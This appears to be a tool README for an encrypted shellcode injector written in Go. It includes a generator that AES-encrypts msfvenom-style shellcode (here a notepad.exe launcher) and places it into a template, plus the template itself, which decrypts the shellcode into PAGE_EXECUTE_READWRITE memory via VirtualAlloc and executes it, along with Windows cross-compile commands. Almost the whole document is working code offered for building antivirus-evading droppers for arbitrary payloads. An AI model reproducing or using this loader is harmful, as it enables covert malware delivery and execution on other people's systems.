Encrypted Shellcode Injection
A tool to generate go source code to compile payloads utilizing encrypted shellcode injection. To be used with a template Go file to execute the encrypted shellcode.
Encrypted Payload Generator
- Generate shellcode with msfvenom or other tools.
- Encrypt it using AES-256.
- Place the key and the encrypted shellcode into a template Go file.
Usage:
$ go run encrypted_payload_creator.go > payload.go
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"io/ioutil"
"os"
"text/template"
)
// Struct to hold template arguments
type args struct {
Key string
Ciphertext string
}
// Random bytes for encryption key
func generateRandomBytes(n int) ([]byte, error) {
b := make([]byte, n)
_, err := rand.Read(b)
if err != nil {
return nil, err
}
return b, nil
}
// Returns base64 encoded ciphertext encrypted with random 32-bit key
func encrypt(plaintext []byte) (string, string) {
key, _ := generateRandomBytes(32)
block, _ := aes.NewCipher(key)
ciphertext := make([]byte, len(plaintext))
stream := cipher.NewCTR(block, key[aes.BlockSize:])
stream.XORKeyStream(ciphertext, plaintext)
return base64.StdEncoding.EncodeToString(ciphertext), base64.StdEncoding.EncodeToString(key)
}
func main() {
// Read go code template file
file, err := ioutil.ReadFile("encrypted_shellcode_template.go")
if err != nil {
panic(err)
}
// Parse template
tmpl, err := template.New("body").Parse(string(file))
if err != nil {
panic(err)
}
// Encrypt payload (notepad.exe)
data := []byte("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x6e\x6f\x74\x65\x70\x61\x64\x2e\x65\x78\x65\x00")
ciphertext, key := encrypt(data)
// Generate go code for dropper using Ciphertext and Key template variables, print to Stdout
tmpl.Execute(os.Stdout, args{
Ciphertext: ciphertext,
Key: key,
})
}
The Payload Template
- Used as a template Go file for the generator to include its encrypted shellcode and key.
- Decrypts shellcode with a given key and executes its memory via local code injection.
Be sure to set GOARCH to 32 or 64-bit depending on your payload when using msfvenom shellcode.
# Linux / Darwin
$ GOOS=windows GOARCH=386 go build encrypted_shellcode.go
# Windows
PS C:\> $Env:GOARCH=386; go build encrypted_shellcode.go
Encrypted Shellcode Template
package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"strings"
"syscall"
"unsafe"
)
const (
PROCESS_ALL_ACCESS = syscall.STANDARD_RIGHTS_REQUIRED | syscall.SYNCHRONIZE | 0xfff
MEM_COMMIT = 0x001000
MEM_RESERVE = 0x002000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
procVirtualAlloc = kernel32.NewProc("VirtualAlloc")
)
func main() {
// Decode ciphertext into shellcode
ciphertext, _ := base64.StdEncoding.DecodeString("{{.Ciphertext}}")
key, _ := base64.StdEncoding.DecodeString("{{.Key}}")
block, _ := aes.NewCipher(key)
plaintext := make([]byte, len(ciphertext))
stream := cipher.NewCTR(block, key[aes.BlockSize:])
stream.XORKeyStream(plaintext, ciphertext)
// Allocate memory as PAGE_EXECUTE_READWRITE
addr, _, err := procVirtualAlloc.Call(0, uintptr(len(plaintext)), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)
if err != nil && !strings.Contains(err.Error(), "operation completed successfully") {
panic(err)
}
// Write the shellcode into the allocated memory
buf := (*[890000]byte)(unsafe.Pointer(addr))
for x, value := range plaintext {
buf[x] = value
}
syscall.Syscall(addr, 0, 0, 0, 0)
}